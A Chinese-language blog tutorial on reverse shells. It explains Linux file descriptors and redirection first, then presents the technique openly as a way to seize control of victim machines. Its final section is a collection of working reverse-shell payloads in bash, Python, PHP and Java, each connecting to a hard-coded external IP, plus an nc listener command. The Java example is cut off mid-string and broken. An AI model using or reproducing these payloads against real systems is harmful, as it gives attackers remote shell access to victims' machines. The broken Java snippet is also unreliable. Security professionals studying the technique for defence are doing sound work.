反彈shell原理簡析與病毒腳本案例

1,Linux中文件描述符

2,Linux輸入輸出重定向

3,反彈shell作用與目的

4,基礎反彈shell語句的本質

5,反彈shell多種方式(命令行,php,python,java,nc)

 

壹   Linux中的文件描述符

首先我們需要回顧一下Linux系統的一個特點:一切皆文件

所有不同種類的類型都被抽象成了文件;如:普通文件、目錄、字符設備、塊設備、套接字等

當一個文件進程被打開,就會創建一個文件描述符,這時候,文件的路徑就成了尋址系統,文件的描述符就成了接口,類似於C語言中的“指針”,我們通過這個“指針”,就可以實現對文件的讀寫操作,也就是實現對被抽象事物的操作:普通文件、目錄、字符設備、塊設備、套接字等

 

每次Linux系統啓動的時候,就會默認打開三個文件描述符:

  • 標準輸入standard input 0 (默認設備鍵盤)
  • 標準輸出standard output 1(默認設備顯示器)
  • 錯誤輸出:error output 2(默認設備顯示器)

分別對應着這/dev/tty0這個“文件”

我們在linux系統中所有的輸入輸出都是由這個進程所有打開的“文件描述符”控制的;就包括我們的輸入設備“鍵盤”以及輸出設備“顯示器”在Linux系統中也是由文件的形式進行調用使用的。

一條命令執行以前先會按照默認的情況進行綁定(也就是上面圖裏面所說的 0,1,2),如果我們有時候需要讓輸出不顯示在顯示器上,而是輸出到文件或者其他設備,那我們就需要重定向。

 

 

 

貳   Linux中輸入和輸出的重定向

重定向主要分爲兩種(其他複雜的都是從這兩種衍生而來的):

  • 輸入重定向 < <<

  • 輸出重定向 > >>

bash在執行一條指令的時候,首先會檢查語句中是否存在重定向符號,如果存在的話,就會首先將文件描述符重定向;

若是指令語句中存在多個重定向的話,就會按照書寫習慣從左往右依次重定向(所以重定向的順序千萬不能改變)

< 是對輸入0的重定向 ;

> 是對輸出1的重定向; 

 

栗子一:

首先創建文本文件test,向其寫入 “hello world !” 字符串;然後我們嘗試通過文件重定向進行查看:

將文件描述符 0 重定向到 test 指代的文件(以只讀方式打開),如果0這個描述符省略就是0(標準輸入):

同樣要是我們通過這種方式:

解析器解析到 "<" 以後會先處理重定向,將標準輸入重定向到test,之後cat再從標準輸入讀取指令的時候,由於標準輸入已經重定向到了test ,於是cat就從test中讀取指令了。

參考下圖所示:

這裏的輸入不再是鍵盤,而是變成了目錄中的某個文件

 

栗子二:

這裏就是將輸出重定向,屏幕中輸出的內容直接指向了目錄下的某個文件

同理,我們這裏還可以將符號省略,就默認爲描述符1

如圖下所示:直接輸出到文件file中

 

栗子三:

我們在這兒將命令“ll”的結果輸入到了test文件之中;但是如果我們的輸入命令有問題(錯誤):

文件測輸入了空值;

在這裏我們需要引入標準輸出與標準錯誤輸出重定向:

 

栗子四:

也就是說,要是輸入的是錯誤信息,我們就會將錯誤信息的引流到輸出上面去,相當於指針指向的是內存地址一般

我們可以通過 >& 和 &>兩個符號代替結尾的 2>&1

根據以上方法,我們可以通過文件描述符之間的指向,完成更復雜的操作。

 

綁定重定向:exec

栗子五

以讀寫方式打開test指代的文件,並將6重定向到該文件。如果6不指定的話,默認爲標準輸入0。

這個時候我們再次查看test文件,內容依舊沒有改變:

但我們此時,重定向6:

相當於直接將ifconfig這個命令的結果直接賦給了test文件中,這個文件描述符相當於一個指針,指向了文件test的內容

 

 

 

叄   反彈shell作用與目的

扯了這麼多全都是鋪墊,現在我們看看什麼是

反彈shell:

英文名(好像高端一點):Reverse Shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

簡潔的說,就是讓被攻擊的機器,主動地送上門來找你白給,而不是你去找他

 

爲什麼要用反彈shell?

通常用於被控端因防火牆受限、權限不足、端口被佔用等情形;

假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那麼什麼情況下正向連接不太好用了呢?

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

2.它的ip會動態改變,你不能持續控制。

3.由於防火牆等限制,對方機器只能發送請求,不能接收請求。

4.對於病毒,木馬,受害者什麼時候能中招,對方的網絡環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,纔是上策。

那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。

 

 

 

肆   基礎反彈shell語句的本質

我們先看一下這個效果:

攻擊者:

受害者:

然後與此同時:

我們來放飛一下自我:

這就直接掌握了他們機子了,你就是那個管理員在賽博朋克的遠方的爸爸了;

 

我們來分析一下這段命令:

bash -i > /dev/tcp/192.168.86.129/999 0>&1 2>&1

 

bash -i

  • bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別
  • -i 這個參數表示的是產生交互式的shell

 

/dev/tcp/ip/port

/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的;但是如果你在一方監聽端口的情況下對這個文件進行讀寫,就能實現與監聽端口的服務器的socket通信:

我們可以直接輸出字符串到這兒,然後監聽那一端就會顯示:

受害者:  

監聽端口:  

就相當於一個遠程的可操作接口

監聽端口:  

受害者端口:  

 

 

bash -i > /dev/tcp/ip/port

這樣做的直接效果如下圖所示:

就是,輸出端口直接從顯示器變爲了那個遠程的設備/dev/tcp/ip/port;但是我們這樣子在攻擊端口是無法控制被害者的,因爲輸入端還是在被害者哪兒,所以我們需要將描述符重定向一下:

 

bash -i > /dev/tcp/ip/port 0>&1 

但是我們觀察被害者端:

黑客所輸入的命令都被顯示出來,這可不行,於是我們改變一下命令:

 

bash -i > /dev/tcp/ip/port 0>&1 2>&1

黑客:

被害者:

 

全然不知早已狼入虎口....

即使武功再高卻也插翅難飛,在劫難逃

 

 

 

伍   反彈shell多種方式(命令行,php,python,java,nc)

 

命令行

bash -i > /dev/tcp/ip/port 0>&1 2>&1

 

NC反彈shell

https://blog.csdn.net/Alexz__/article/details/104645626我曾經在這兒介紹過一個反彈shell的方式;NC工具進行反彈shell。但是利用範圍很有限

 

Python反彈shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("119.23.30.155",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

Python3.67環境下實測通過

 

PHP的fsockopen函數

# 在A上用nc監聽7788端口

nc -lvp 7788

在B上執行 

php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'

此時即可在A上操作B  該方式會回顯輸入的命令
若要退出 使用exit命令

 

JAVA環境反彈shell

public class Revs { 
    public static void main(String[] args) throws Exception { 
        // TODO Auto-generated method stub 
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/39.107.111.15 
        Process p = r.exec(cmd); 
        p.waitFor(); 
    } 
}

執行

java 1.java

宿主監聽即可

 

 

 

本文參考於:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

https://pdf.us/2019/01/29/2694.html

 

 

一生中

我曾多次撒謊

卻始終誠實地遵守着

一個兒時的諾言

 

——北島《結局或開始 ——獻給遇羅克》

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章